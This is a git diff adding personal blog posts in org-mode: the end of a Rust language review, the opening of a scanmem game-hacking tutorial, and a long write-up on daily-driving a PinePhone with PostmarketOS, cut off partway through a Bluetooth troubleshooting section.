:hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + if let Some(index) = to_search.find("foo") { + println!("index - 5: {}", index - 5); + } +} +#+END_SRC + +=if let= is a syntax construct that I don't think any other language has, so I +should probably give a brief explanation. That =if= block will run if and only +if =find= returned an instance of =Option= that was =Some=, rather than =None=. +If an instance of =Some= is returned, it contains our index, so we can +destructure it and set that value to the variable, =index=, which we go on to +use. + +You might expect this strictness to bring frustration, but the compiler emits +errors worded simply enough that a layman could understand them, and often makes +suggestions for fixing the code in question. The above isn't a great example, +here's a better one: + +#+BEGIN_SRC rust :hl_lines 0 +fn tabulate_slice(slice: &[u8]) { + for elem in slice.iter() { + println!("{}", elem); + } +} + +fn main() { + let vec = vec![1, 2, 3]; + tabulate_slice(vec); +} +#+END_SRC + +#+BEGIN_SRC +error[E0308]: mismatched types + --> test.rs:9:20 + | + 9 | tabulate_slice(vec); + | ^^^ + | | + | expected &[u8], found struct `std::vec::Vec` + | help: consider borrowing here: `&vec` +#+END_SRC + +Rust has a great deal of functionality that makes it feel like your typical +high-level Ruby or Python, despite being a compiled language. And it isn't +limited to what I described above - here are a few of the other features I +was really impressed with: + +* Conditionals are Expressions + +#+BEGIN_SRC rust :hl_lines 0 +let var = if true { + 1 +} else { + 2 +}; +#+END_SRC + +* No parentheses for the expression part of if/while/for + +Heh, I bet you've seen enough of that already. + +* Semantics for Infinite Loops + +#+BEGIN_SRC rust :hl_lines 0 +loop { + break; +} +#+END_SRC + +* Semantics for Unused Variables/Parameters + +#+BEGIN_SRC rust :hl_lines 0 +for _ in 0..5 { + println!("I'm printed 5 times!"); +} +#+END_SRC + +* Range Notation, Type Inference, and Iterators + +Again, you've seen these already. + +* Tuples, Destructuring, and Pattern Matching via =match= and =if let= Expressions + +#+BEGIN_SRC rust :hl_lines 0 +match to_search.find("foo") { + Some(index) => println!("Foo at {}", index), + None => println!("No foo :("), +} + +// Or, more idiomatically: + +if let Some(index) = to_search.find("foo") { + println!("Foo at {}", index); +} else { + println!("No foo :("); +} +#+END_SRC + +* Automated Testing is Integrated Into the Build System + +#+BEGIN_SRC rust :hl_lines 0 +#[cfg(test)] +mod tests { + #[test] + fn it_works() { + assert_eq!(2 + 2, 4); + } +} +#+END_SRC + +This will be run upon invocation of =cargo test=. + +* Isolation of Unsafe Code + +There's a set of [[https://doc.rust-lang.org/book/second-edition/ch19-01-unsafe-rust.html][rules]] to ensure that the implications of working with unsafe +code are properly contained, but the gist of it is that unsafe code is isolated +by the scoping system. Mostly, I'm glad that the language allows you to work +with unsafe code at all. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + unsafe { + asm!("INT3"); + } +} +#+END_SRC + +--- + +That's my opinion on the language design aspect, but the community and ecosystem +are important as well. My experience with the Rust community is limited, but +from what little I have seen, those in the community are friendly and rational. +I submitted [[https://github.com/mattnenterprise/rust-imap/issues/67][a few issues to rust-imap]] and received prompt and helpful responses. +I can also confidently say that the Rust ecosystem a pleasure to work with. It +obviously isn't as mature as some other language ecosystems, but adding a +"crate" dependency to your projects is as easy as adding a line to your +'Cargo.toml'. It's equally easy to publish the code and documentation for crates +you've made yourself. I threw together [[https://github.com/TsarFox/wildmidi][a library for interacting with WildMIDI]], +and a [[https://docs.rs/][docs.rs]] page popped up without any intervention from me. Painless. + +The process of linking those crates into the executable is relatively primitive, +and there are a few complaints in that respect. It's mostly static linking, so +the argument is "you get outdated copies of several libraries on your computer." +However, the benefits of dynamic linking as the alternative is a [[http://harmful.cat-v.org/software/dynamic-linking/][debate I don't +want to get into in this post]]. Right now I'll leave it as, "it's not an option +in the current implementation, and that's a disadvantage," even if I'm +blissfully ignorant of the size of my Rust binaries and /might/ have some +complaints about dynamic linking. + +All in all, I'm very happy with Rust. Maybe it isn't "there" yet as a viable +replacement to C, but it's promising and I have a feeling that, with time, it +will fit nicely into GNU/Linux ecosystem. + +[fn:1] A previous version of this post included *all* of the assembly emitted by the compiler, but in this revision, I've chosen to remove Rust's error/panic handling code because I believe that it actually detracts from the concept I'm trying to show. diff --git a/haunt/posts/game-hacking-on-linux-scanmem.org b/haunt/posts/game-hacking-on-linux-scanmem.org new file mode 100644 index 0000000..5146a09 --- /dev/null +++ b/haunt/posts/game-hacking-on-linux-scanmem.org @@ -0,0 +1,8 @@ +#+TITLE: Game Hacking on Linux - scanmem Basics +#+DATE: <2017-06-18 Sun 11:51> +#+TAGS: tutorial reverse-engineering linux video-games game-hacking +#+CROSSPOST: https://0x00sec.org/t/game-hacking-on-linux-scanmem-basics/2458 + +Hey, this is a very brief tutorial on scanmem, a memory manipulation tool for +Linux that’s well suited to game hacking. I’ll be using GZDoom as an example, +but you should be able to follow along with any game you want. diff --git a/haunt/posts/i-love-my-pinephone.org b/haunt/posts/i-love-my-pinephone.org new file mode 100644 index 0000000..346c103 --- /dev/null +++ b/haunt/posts/i-love-my-pinephone.org @@ -0,0 +1,2385 @@ +#+TITLE: I Love My PinePhone +#+DATE: <2022-08-26 Fri 06:29> +#+TAGS: writeup programming arm rust pinephone alpine postmarketos emacs +#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "An attempt to document my experiences and rationale for wanting to use a PinePhone, as well as my thoughts on mobile Linux in general.") ("og:image" . "https://jakob.space/static/image/pinephone-1.jpg")) + +For the past ten months, I've been using my [[https://www.pine64.org/pinephone/][PinePhone]] as a "daily driver." By +which, I mean it's been in my pocket everywhere I go, and it's the device I use +to make phone calls. Depending on your familiarity with the PinePhone (or the +state of "Linux Phones" more generally) this statement is either delirious, or +vapid (why should I care that you use a "smart" phone just like the rest of us?) +Don't be mistaken: the PinePhone is usable as a little cellular-capable PDA, and +it's in a league of its own. This article is my attempt to document my +experiences and rationale for wanting to use one, as well as my thoughts on +mobile Linux in general. + +I expect "Linux Phone" to be a readily understood term by readers of mine, but +it is a somewhat imprecise term. So I'll clarify that by "Linux Phone," I mean a +mobile phone that runs not only the Linux kernel, but also the user space and +general experience we all associate with the Linux operating system[fn:8]. +Notably, this excludes Android[fn:1], which has existed for several years. Not +long ago, a Linux Phone seemed like a pipe dream: one I've had ever since I +first held a smartphone I could call my own. Perhaps it's impractical for many, +but I would be happy to trade ubiquity for being able to carry around +workstation-like capability in my pocket. I don't use social media like +Instagram, or proprietary messaging applications like WhatsApp and Snapchat. As +long as I can run my usual Linux software stack, and have a modem that can +receive and send phone calls and text messages, my needs are met. So when the +PinePhone was announced in 2019, I was excited. Not only did it tick many of the +boxes for my dream of a "Linux Phone," but it came from [[https://www.pine64.org/][PINE64]], a vendor I'd had +great experiences with in the past, being a [[https://www.pine64.org/pinebook-pro/][Pinebook Pro]] owner. + +The idea of Linux phones had been at least somewhat popularized at that point +with the earlier announcement of the Librem 5, but the Pinephoe was far more +affordable, and it would be hitting the market well before the Librem 5. I got +it as a Christmas gift from my wonderful mother. Unfortunately, this was amidst +my hellish time as an undergrad, so I didn't have the time to fully buy into +swapping over my mobile compute stack. So it waited until I graduated. I +actually am somewhat happy that I waited, though, because the software situation +is much better today than it was three years ago. + +My previous "smart" phone was a [[https://en.wikipedia.org/wiki/Honor_5X][Huawei Honor 5X]], which I purchased for about +$200 before the Trump administration [[https://en.wikipedia.org/wiki/Entity_List#Huawei][banned domestic sales of Huawei +products]].[fn:2] I flashed CyanogenMod (later LineageOS) the second I removed +it from the box for reasons I expect to be self-evident. Initially, it was a +significant upgrade over my previous 2nd generation [[https://en.wikipedia.org/wiki/Moto_G_(2nd_generation)][Moto G]], but the experience +soon grew unbearable as the LineageOS image for the device grew unmaintained. +The System UI would freeze frequently, rendering the phone inoperable until I +forcefully rebooted it; expanding the usable disk space with an external SD card +resulted in strange errors and often the SD would show up as "corrupted" until I +rebooted the phone enough times; and I would frequently have the phone reboot to +[[https://en.wikipedia.org/wiki/TWRP_(software)][TWRP]] while I was walking around with it in my pocket, a symptom I strongly +suspect to be related to panics in the old, non-mainline Kernel.[fn:17] The +battery also couldn't hold a charge, and I was able to remedy that by replacing +it, but the difficulty I had in finding OEM parts suggested that regularly +servicing the battery probably wasn't sustainable. It was time for a change. + +#+TOC: headlines 2 + +* The First Week + +With that, you now understand the situation I found myself in last October. +Software support for my mobile phone was suddenly non-existent, and I was +growing frustrated with it. I had the option of setting up the experimental +PinePhone I'd been hoarding, or fronting a couple hundred dollars for a new +cellphone. I went with the former. + +#+BEGIN_EXPORT html +
+#+END_EXPORT +I took some nice photos the day I received the PinePhone, and more on the day I +set it up. Despite my best efforts, I have been unable to locate the SD card +those photos were saved to, so the photos below were taken recently. The visible +bumps and scuffs weren't there when I received it -- the phone's sustained those +over a few months of use. +#+BEGIN_EXPORT html +
+#+END_EXPORT + +** Unboxing + +#+CAPTION: PinePhone in front of original box. +[[./pinephone-1.jpg]] + +The PinePhone's initial presentation engenders confidence. Despite the cost, the +box it comes in feels nice and gives me the sense that I have a quality product +in my hands. The phone comes in a protective sleeve, with a USB-C cable and a +leaflet with some information. It isn't a manual, but it does link to the Pine64 +wiki, which is close enough to one. + +#+CAPTION: PinePhone, unboxed. +[[./pinephone-2.jpg]] + +#+CAPTION: Somewhat blurry close-up of the leaflet. It's transcribed in the alt text. +#+ATTR_HTML: :alt Dear Piner, Congratulations on receiving your Brave Heart edition PinePhone! You are one of the very first to have a PinePhone. We hope you'll help us and our partner projects by contributing to development. [Line Break] Your input is valuable, so it is important that you report whatever problems you encounter. Please, include relevant logs and/or UART outputs. [Line Break] Join the conversation on whichever platform suits you. You can report non-OS specific (kernel) issues you encounter on gitlab.com/pine64-org. OS specific problems should be reported on the PINE64 Wiki (wiki.pine64.org/PinePhone#Software Support) as well as directly to developers in the PinePhone chats (Forums and Chats tab on pine64 org), on PINE64 forums (forum.pine64.org) or on the relevant partner-project forums (see Partner Projects tab on pine64.org). [Line Break] Brave Heart phones come preloaded with factory test software and nothing else. So you'll have to seek out the OSs that interest you on your own. [Line Break] Keep in mind that all the OSs are presently pre-release and vary in functionality, even from one pre-release to another. Most mobile distribution OS images are linked on the PinePhone subsection of the PINE64 Wiki. Obtaining OS builds absent from the Wiki may require talking to their developers directly. [Line Break] The PinePhone Wiki subsection also contains schematics, instructions, hardware configuration details, and other useful information about your device. You can edit and contribute to the Wiki by logging in with your forum credentials. [Line Break] Brave Heart is meant for early-adopters — developers and enthusiasts — so we expect and encourage you to experiment with the software and hardware by pushing the envelope. That said, please keep in mind that the device is under standard warranty, so breaking components during disassembly or tampering with eFUSEs will void that warranty. [Line Break] Now, have fun with your PinePhone! [Line Break] PINE64 Community Team" +[[./pinephone-3.jpg]] + +I care about the longevity of my gadgets, so I went on Thingiverse and found a +[[https://www.thingiverse.com/thing:4658870][hard case design]] for the PinePhone. I could've spent more time sanding it down +and making it look nice, but it was good enough for me at the time. I'm still +inexperienced with making "good" 3D-printed parts. The roughness led to a few +minor scratches on the back cover, but it's saved my PinePhone from worse damage +on several occasions. + +The PinePhone shuts itself off upon impact. I think that's a bug, rather than a +feature, but I'm usually careful enough that it doesn't happen often. (In fact, +it's usually when others are handling my phone that it falls.) + +#+BEGIN_EXPORT html +
+#+END_EXPORT +While traveling to DEF CON, the bottom of the case got torn off, so I printed a +new one. This time I used =PinePhone-HardCase-v2-Thick.stl= instead of +=PinePhone-HardCase-v2.stl=. I like the thicker case much better, and I'm not as +worried about it scratching up the back cover. + +And, even though a significant part of the case was missing, it still protected +the phone from a drop. All of this is to say that PLA is not a bad material for +a phone case, and =_The3DmaN_= on Thingiverse has a damn good design. +#+BEGIN_EXPORT html +
+#+END_EXPORT + +Per [[https://www.reddit.com/r/PinePhoneOfficial/comments/havbcm/pinephone_screen_protector/fv5smk0/][this Reddit comment]], I purchased a pack of cheap tempered glass screen +protectors designed for the iPhone Max XS. I haven't dropped the phone enough to +put it to its limits, but thus far it's done well to keep the front of the phone +free from scratches. + +#+CAPTION: Photo of the phone next to the case, horribly doctored to show both sides of the case in the same photo. +[[./pinephone-4.jpg]] + +#+CAPTION: The case makes the phone quite chunky ("thicc" as the kids say these days). Holding it is pleasant. +[[./pinephone-5.jpg]] + +The PinePhone arrives flashed with a "factory test image" which is suitable for +verifying that the hardware on the PinePhone is functional before you proceed +with it configuring it. The test for the modem was finicky, and the =motor= test +did not work. The device, at this point, was well past the limited warranty, so +I decided to press regardless. + +#+CAPTION: A PinePhone running the factorytest image. Courtesy PINE64, as I lost the photo I took when it was installed on mine. (https://www.pine64.org/2020/01/15/pinephones-start-shipping-all-you-want-to-know/) +[[./pinephone-7.jpg]] + +These issues were non-existent when I did install a proper operating system to +the phone, so I suspect there were actually some bugs in =factorytest=. +Experiencing bugs seems to be [[https://forum.pine64.org/showthread.php?tid=13257&pid=90677][consistent with other users' experiences]]. + +** Distribution + +Now that we've got the phone powered up, we have some decisions to make. What +Linux distribution do we want to install on the phone? Furthermore, what desktop +environment do we want use? + +The PINE64 wiki has a [[https://wiki.pine64.org/wiki/PinePhone_Software_Releases][page listing most of the distributions]] that are known to +work on the PinePhone, and the choices are surprisingly diverse. On one end of +the spectrum, there's [[https://github.com/GloDroid/][GloDroid]], which is a port of Android to the PinePhone. +That might seem like it defeats the purpose of using the PinePhone, but I'm sure +it can be used for a use-case similar to dual-booting Windows and Linux. Moving +further from Android, we have distributions like [[https://ubports.com/foundation/sponsors][Ubuntu Touch]] which actually use +parts of Android to interact with the underlying phone, but implement a full +Linux userland and display server on top of that. Personally, I think this is a +/really/ cool approach for making ordinary Android phones more useful, and you can +read more about the approach [[https://halium.org/][here]]. Finally, we've got regular mainline Linux, +with both desktop-oriented and mobile-oriented distributions. You can run +Gentoo, Fedora, Arch Linux ARM, etc. on the Pinephone, or you can opt for +[[http://postmarketos.org/][PostmarketOS]] (Alpine-derivative) or [[http://postmarketos.org/][Mobian]] (Debian-derivative). + +There are some options that might not fit into my arbitrary "spectrum" idea, +like [[https://sailfishos.org/][Sailfish OS]]. I don't know enough about it to say where it falls. +Regardless, I hope you're taking away that with an open design, you have lots of +options. + +One last choice I want to mention is the [[https://syndicate-lang.org/journal/2022/06/03/phone-progress][SqueakPhone]], which appears to be based +on PostmarketOS, but the userland is almost entirely written in Smalltalk. + +It's a good time to be hacking on mobile devices. We might not be in the golden +age, but we're certainly marching toward it. + +As much as I like running Gentoo on most of my machines, I figured that would be +a bit much for me. It also doesn't seem like a good idea to constantly be +compiling things from source on my phone, which probably doesn't have great +thermals (and I assume it would take a few days to compile e.g. Firefox unless I +took the time to properly set up =distcc=.) + +So I went with [[http://postmarketos.org/][PostmarketOS]]. I admire the design of Alpine Linux, and I think +that PostmarketOS is the project making the most progress in the mobile Linux +space. Now, PostmarketOS comes with several options for a desktop environment. +The three I consider to be the "main" options are [[https://wiki.postmarketos.org/wiki/Sxmo][Sxmo]], [[https://wiki.postmarketos.org/wiki/Plasma_Mobile][Plasma Mobile]], and +[[https://wiki.postmarketos.org/wiki/Phosh][Phosh]]. Sxmo is basically a mobile-oriented [[https://en.wikipedia.org/wiki/Dwm][dwm]] fork. I'm a former dwm user and +current AwesomeWM user, but running a tiling window manager on my phone seems a +bit much, even for me. And in the Gnome versus KDE footballing[fn:11], I like +Gnome better, and I prefer GTK+ over Qt, so I went with Phosh. + +Once you know what you want to install on your PinePhone, the process is +straightforward. Flash a distribution image to an SD card, pop it into the +phone, and power it on. From there, you can install it to EMMC. + +** Storage + +The internal EMMC on the PinePhone I have is 16GB (later models have a 32GB +EMMC). My music folder far exceeds 16GB, so I bought an SD card to use as extra +storage. Unlike Android, a regular Linux distribution gives you some flexibility +with how you split storage up across the various storage devices. I set up a +LUKS-encrypted ext4 filesystem on the SD card and threw a script into [[https://wiki.gentoo.org/wiki//etc/local.d][local.d]] to +decrypt it and mount it on top of =/home=. I haven't had a single issue with it, +so we're already doing much better than Android. I can store basically whatever +the hell I want on my phone without worrying about space constraints. + +#+CAPTION: A readily-noticeable feature of the PinePhone is how easy it is to get to the internals. You don't need to do much to get to the SD/SIM slot; there's a notch in the back cover that you can pry up on and it pops right off. +[[./pinephone-6.jpg]] + +** Mobile Data + +Mobile data worked surprisingly well, with minimal tinkering. At the time, +PostmarketOS wasn't able to automatically detect the APN for my carrier, but the +PINE64 wiki has a [[https://wiki.pine64.org/wiki/PinePhone_APN_Settings][list of APN settings]] for common carriers. Once I set it up to +communicate with =NXTGENPHONE=, I was able to kill the Wi-Fi connection and hit +=icanhazip.com=. I knew it worked because I was given an IPv6 address in response. +First time that's happened to me. + +#+BEGIN_EXPORT html + +#+END_EXPORT + +I was also able to pull out my PinePhone and pull up a picture of Fred Durst at +the Thanksgiving dinner table[fn:9], far away from my house, so I was able to test out +mobile data "in practice" fairly early into my PinePhone usage. + +** Software + +While we can [[https://waydro.id/][run Android applications on GNU/Linux]], it would defeat the purpose +of using this phone to run Android applications for everything. So, soon after +I'd verified all was working, I put together a list of the packages that I had +installed on my old phone, and figured out what the analogs were on +PostmarketOS. + +| Android App | PostmarketOS package | Note | +|--------------------------+-------------------------+-------------------------------------------------------------------------------------------------| +| andOTP | [[https://git.sr.ht/~martijnbraam/numberstation][numberstation]] | | +| AntennaPod | | Dropped; I'll just use an RSS reader. | +| AnySoftKeyboard | [[https://source.puri.sm/Librem5/squeekboard][squeekboard]] | | +| App Manager | | Android-specific application. | +| AudioFX | | Unused on Android. But there are plenty of [[https://wiki.archlinux.org/title/PipeWire#Audio_post-processing][post-processing applications]] for Pipewire. | +| Aurora Store | | Android-specific application. | +| BackgroundRestrictor | | Android-specific application. | +| Browser | | Unused on Android. | +| AVNC | [[https://wiki.postmarketos.org/wiki/VNC][tigervnc]] | Unused in PostmarketOS. | +| Calculator | [[https://wiki.gnome.org/Apps/Calculator][gnome-calculator]]; [[https://www.gnu.org/software/emacs/manual/html_mono/calc.html][calc]] | | +| Calendar | [[https://orgmode.org/][Org mode]] | | +| Calendar Import-Export | [[https://orgmode.org/][Org mode]] | Unused in PostmarketOS.[fn:3] | +| Camera | [[https://wiki.mobian-project.org/doku.php?id=megapixels][Megapixels]] | | +| Clock | [[https://gitlab.gnome.org/GNOME/gnome-clocks][gnome-clocks]] | | +| Contacts | [[https://gitlab.gnome.org/GNOME/gnome-contacts][gnome-contacts]] | | +| Conversations | [[https://wiki.postmarketos.org/wiki/Dino][dino]] | Unused in PostmarketOS.[fn:4] | +| Discord | [[https://github.com/diamondburned/gtkcord4][gtkcord4]] | Discord sucks and I hate it, but some friends are only reachable on there, so I have to settle. | +| Email | | Unused on Android. | +| F-Droid | | Android-specific application | +| FFUpdater | | Android-specific application | +| Files | [[https://github.com/tchx84/Portfolio][Portfolio]], [[https://en.wikipedia.org/wiki/Dired][dired]], ls(1) | | +| Firefox | Firefox | | +| FM Radio | | _Not replaceable._[fn:6] | +| Gallery | [[https://wiki.mobian-project.org/doku.php?id=gnomephotos][gnome-photos]] | | +| K-9 Mail | [[https://en.wikipedia.org/wiki/Geary_(e-mail_client)][Geary]] | | +| Libera PRO | [[https://wiki.gnome.org/Apps/Evince][Evince]] | Could use Calibre, but I actually do most of my e-book reading on a rooted Nook now. | +| Messaging | [[https://source.puri.sm/Librem5/chatty][Chatty]] | | +| MuPDF mini | [[https://wiki.gnome.org/Apps/Evince][Evince]] | | +| Music | [[https://www.musicpd.org/][Music Player Daemon]] | | +| NewPipe | [[https://mpv.io/][mpv]], [[https://github.com/yt-dlp/yt-dlp][yt-dlp]] | | +| Obsqr | [[https://wiki.mobian-project.org/doku.php?id=megapixels][Megapixels]] | | +| Offline Calendar | | Android-specific application. | +| OpenKeychain | gpg(1) | | +| Orbot | [[https://gitweb.torproject.org/torsocks.git][torsocks]] | | +| Orgzly | | Not needed as I can run GNU Emacs natively on PostmarketOS. | +| OsmAnd~ | [[https://sr.ht/~mil/mepo/][mepo]] | | +| Password Store | [[https://www.passwordstore.org/][pass]] | | +| Phone | [[https://wiki.mobian-project.org/doku.php?id=calls][Calls]] | | +| Recorder | [[https://ffmpeg.org/ffmpeg.html][ffmpeg]] | | +| RetroArch | RetroArch | Unused in PostmarketOS.[fn:7] | +| Settings | | Android-specific application. | +| Shattered Pixel Dungeons | | Dropped. | +| Signal | | | +| Slide | | Dropped. | +| Syncthing | Syncthing | | +| Termux | [[https://gitlab.gnome.org/GNOME/console][gnome-console]] | | +| Tiny Tiny RSS | [[https://gfeeds.gabmus.org/][gnome-feeds]] | I don't currently use RSS synchronization. | +| Tusky | [[https://github.com/bleakgrey/tootle][Tootle]] | | +| wallabag | | Dropped. | +| Wikipedia | | Dropped. | + +Excluded from this list are two banking applications which are effectively +irreplaceable, as they employ some additional anti-tampering and security +measures. I still keep a burner phone around for this -- even though I'm able to +do a lot from the website, there are a few things like digital check deposit and +paying rent through Zelle that I can't do without the mobile app. + +I keep the burner phone in a Faraday bag at home, but I did carry my old Android +phone around on me while I was starting to use the PinePhone -- always in +airplane mode, occasionally connected to a Wi-Fi hotspot. I took the approach of +weening myself off one and onto the other. + +I still occasionally carry around the old phone because mepo is nowhere near +OsmAnd~ in terms of maturity, so the PinePhone isn't very useful for land +navigation. The camera's also a little better on the Honor 5X. + +There are also a few odd things that aren't in the table because in Android, +they're built into the system. In particular, I've been using [[https://github.com/emersion/grim][grim]] to take +screenshots and [[https://sr.ht/~kennylevinsen/wlsunset/][wlsunset]] to set the screen color temperature.[fn:16] + +I'll get into the specifics of using some of these applications (like GNU Emacs) +later in the article. + +* Pain Points + +As you might expect, I've encountered several issues while daily-driving the +PinePhone. Most of these would make the PinePhone a non-starter for anyone with +a relatively normal use-case. But for me, they're inconveniences I'm willing to +live with. Some have been resolved by now, and I'm hopeful that they continue to +be addressed as time goes on. + +** Modem: Frequent disconnects, not receiving calls + +The modem has been the single most frustrating part about using the PinePhone. +For background: the PinePhone uses a Quectel EG25-G modem, which is effectively +a SOC of its own, running a little embedded Linux distribution distinct from the +rest of the PinePhone. So if the firmware is dogshit ([[https://www.toomanyatoms.com/computer/pinephone.html#modem][which it is]], if you're +using the firmware from Quectel), it can run hot or draw a stupid amount of +power while the main SOC is in standby and drain the battery. + +Fortunately, [[https://biktorgj.com/][Biktorgj]] maintains a [[https://github.com/Biktorgj/pinephone_modem_sdk][free firmware implementation]] for the EG25-G +which is much better. Battery life on standby went from a couple of hours to a +whole day when I made the switch. + +Regardless of firmware, I was having an issue where the modem would disconnect +from the phone every couple of minutes, which was very frustrating. This is +resolved by using =udev= to set =ATTR{power/control}= to =on= instead of =auto=, at a +cost in power consumption, but the usability is worth the hit in battery life. + +Having a distinct modem daughter card seems to be a design feature, at least [[https://puri.sm/posts/the-design-behind-a-modular-and-secure-mobile-phone/][in +the eyes of Purism]], because it means that "those network components are fully +isolated from the main board and cannot freely access the rest of the system," +indicating that it's "an important privacy feature." It comes with it's costs, +though. + +Biktorgj's project only addresses parts of the firmware, and not the baseband +implementation. You still need to install ADSP firmware blobs for that. And, +humorously, Quectel doesn't seem to officially publish them, so the PINE64 +community just maintains a collection of four different versions with varying +levels of stability depending on the cellular carrier being used. + +One issue that I have yet to solve is that, if the phone is sitting in standby +for a while (say, overnight), I can't receive or make calls. But it's +inconsistent. For example, at the time of writing this, I'd had my phone in +standby without restarting for several nights, but I could make a call just now. +It's hard to gleam what's going on from the logs, too. + +#+BEGIN_SRC prog +Jul 30 02:02:34 theta daemon.info [2179]: [modem0/bearer1] verbose call end reason (3,1056): [cm] lrrc-connection-establishment-failure-timer-expired +Jul 30 02:02:34 theta daemon.info [2179]: [modem0] state changed (connected -> registered) +Jul 30 02:02:34 theta daemon.info [2179]: [modem0/bearer1] connection #1 finished: duration 22362s, tx: 285780 bytes, rx: 1471594 bytes +... +Jul 30 06:02:43 theta daemon.info [2179]: [modem0/bearer1] verbose call end reason (3,1034): [cm] esm-sync-up-with-nw +Jul 30 06:02:43 theta daemon.info [2179]: [modem0] state changed (connected -> registered) +Jul 30 06:02:43 theta daemon.info [2179]: [modem0/bearer1] connection #2 finished: duration 14407s, tx: 172 bytes, rx: 555 bytes +#+END_SRC + +For me, this isn't a huge problem. 90% of the time I'm getting a phone call, +it's a robot asking me about my car's warranty. If it's someone actually trying +to get a hold of me, they're likely to leave a voicemail, which I am alerted to +even if the phone's in this unusual state of being unable to receive calls. + +So running custom firmware on the modem is currently the best way to have a +moderately-usable modem. With [[https://github.com/fwupd/fwupd/commit/17854099d0e614c06b5a40d2477477ee3d850fc7#diff-5a375f230ee85cf307402aaabd8da6e6dbc8ad32e0a5e9f6d302a896a8387c4cR557][the news]] that Quectel could potentially be locking +down their hardware and preventing users from flashing their own firmware, I'm +worried the usability of the PinePhone will be kneecapped in the somewhat +near-future. + +The sad thing is, this modem seems to be the best supported piece of hardware in +ModemManager now, and I don't think we'll see this much work on other modems for +a long while. This Quectel piece of shit will probably be the only usable option +in e.g. PostmarketOS for the foreseeable future. + +** Occasional Non-Wake from Suspend + +My phone will occasionally refuse to wake up from standby. That is, when the +phone goes to sleep because the screen's been off for 2 minutes, it suspends. +But the power button doesn't wake it, nor does the phone respond to the +[[https://wiki.postmarketos.org/wiki/TTYescape][TTYEscape]] key sequence. + +I configured =syslogd= to write to disk instead of shared memory to get some +indication of what might be going on, but since doing the issue hasn't presented +itself. I suspected that =gnome-power-manager= was failing to register ACPI +wake-up events in some cases, but I don't see /any/ messages about ACPI in my +=dmesg= output. Seems like [[https://linux-sunxi.org/PSCI][PSCI]] is what's being used, which tracks since the [[http://acpi.info/DOWNLOADS/ACPIspec50.pdf][first +version of the standard to acknowledge ARM]] was only released a decade ago. I +don't know enough about PSCI to hypothesize about what might have been going on. +What matters is that it's been a difficult problem to track down. + +** Suspend Prevents Alarm from Going off + +Rarely a problem for me since I plug my phone in at night and don't have it +configured to suspend when on AC power, but if the phone is suspended, there's +nothing to wake the phone up to check for alarms you've set in =gnome-clocks=. The +effect is that your alarm isn't going to go off. + +Fortunately, the modem is almost always running and is able to wake the phone, +so if you're using Biktorgj's firmware, you can send the modem a text message to +[[https://github.com/the-modem-distro/pinephone_modem_sdk/blob/kirkstone/docs/SMS_INTERFACE.md][schedule a wake-up call]]. It's a nice solution to a pretty unfortunate problem. + +There are some [[https://static.lwn.net/images/pdf/suspend_blockers.pdf][papers]] on how power management is done in Android-land, which +makes me think that user space alarms /could/ work in the presence of an automatic +suspend framework. In fact, the RTC available on the PinePhone [[https://codeberg.org/Silmathoron/pinephone-autowake][is sufficient]] to +trigger a wake event, but configuring it seems to be quite user-unfriendly. I +hope that we see more libraries and software development kits for Linux that +take advantage of mobile hardware capabilities. + +** Battery Life + +As stated above, battery life out-of-the-box is awful. It's made much better by +installing Biktorgj's modem firmware, but is still somewhat underwhelming. I've +seen this [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][attributed to the phone's design consisting of four separate chips]]. + +The [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][PinePhone Keyboard]] comes with a 6000mAh internal battery to effectively +extend the battery capacity of the PinePhone. I haven't purchased one yet. + +What I have done is spend about $40 on a 40000mAh power bank from Anker. That +was a good investment, since I can charge my PineBook and other devices as well. +I just keep that and a spare USB-C cable in my bag (which I bring with me +practically everywhere), and I haven't had any issues. + +I'm hopeful that PINE64 eventually releases a back cover that supports a +higher-capacity battery (maybe 5000mAh). My hesitancy with the keyboard is that +I'm worried it would be /too/ chunky. I wouldn't expect a slightly fatter battery +to make it difficult to fit the phone in my pocket, but a phone with a keyboard +attached might be a tight fit. + +** Mobile hotspot not working + +Non-issue as of PostmarketOS 21.12. The hotspot works fine, and I use it +extensively to connect my PineBook to the internet while on the go. + +Even in 21.06, it wasn't a terrible issue to have to work around. The issue was +that I couldn't connect to the internet directly, but I could still connect to +the PinePhone, so SSH tunneling and a SOCKS5 client were all I needed to browse +the web or check my email. It was [[https://forum.pine64.org/showthread.php?tid=10974][apparently a kernel issue]]. + +** On-screen Keyboard + +This is a difficult issue to put into words, and as such I've had a hard time +looking around for mention of it on the bug tracker or elsewhere. + +Sometimes, when typing with [[https://source.puri.sm/Librem5/squeekboard][Squeekboard]] (the on-screen keyboard that comes with +Phosh), I'll press a key once and two characters will be inserted -- as if the +phone registered it as two taps in quick succession. + +A solution I'd like to try is to patch Squeekboard and have it keep a timer for +determining how much time there elapses between key press events. If the pause +is too short, then we'd drop the second key press. Squeekboard seems to be +mostly written in Rust, so I find that to be an enticing quality-of-life +improvement project, but I think I've done enough technical work in this post +already, so I'll do it another time. + +** Bluetooth Audio + +Bluetooth audio remains a pain point, and an elusive one at that. It works well +when attempting to troubleshoot, but seems to bug out when I actually use it. +The [[https://wiki.archlinux.org/title/Bluetooth_headset#Connecting_works,_but_there_are_sound_glitches_all_the_time][Arch Linux Wiki has a page]] on troubleshooting my situation, which is that +"[c]onnecting works, but there are sound glitches all the time." In my case, I +have no issues connecting to my car's stereo system, for example, but 90% of the +time I will have audio buffer overruns that cause the audio to pause every +second or so. It is infuriating to have to listen to. I mostly notice this +behavior with =mpd=, and I have a procedure for "fixing it." + +1. =nice -11 mpd= +2. =mpc play= +3. =pkill mpd= +4. =nice -11 mpd= +5. Music starts playing without hiccups. + +I'm not sure why it works, or if this indicates that the issue is in =mpd= rather +than the Bluetooth stack. Regardless, it's behavior I would expect to "just +work." + +[[https://forum.pine64.org/showthread.php?tid=10810][CyberSeb on the PINE64 forum has a post]] for configuring the Bluetooth stack to +work better, and I have some recollection of the second step working well, but +as of late the script I have to run those commands (included below) no longer +works. It tends to fail at =pactl set-port-latency-offset=, either because +=BLUEZCARD= isn't defined, or something else. The error messages aren't especially +descriptive. + +I was only doing the second step because, for some time, I was convinced that my +phone wasn't running Pulse. I really thought it was on Pipewire, but it seems my +memory failed me. + +#+BEGIN_SRC prog +theta:~$ sudo apk add pipewire-pulse +ERROR: unable to select packages: + 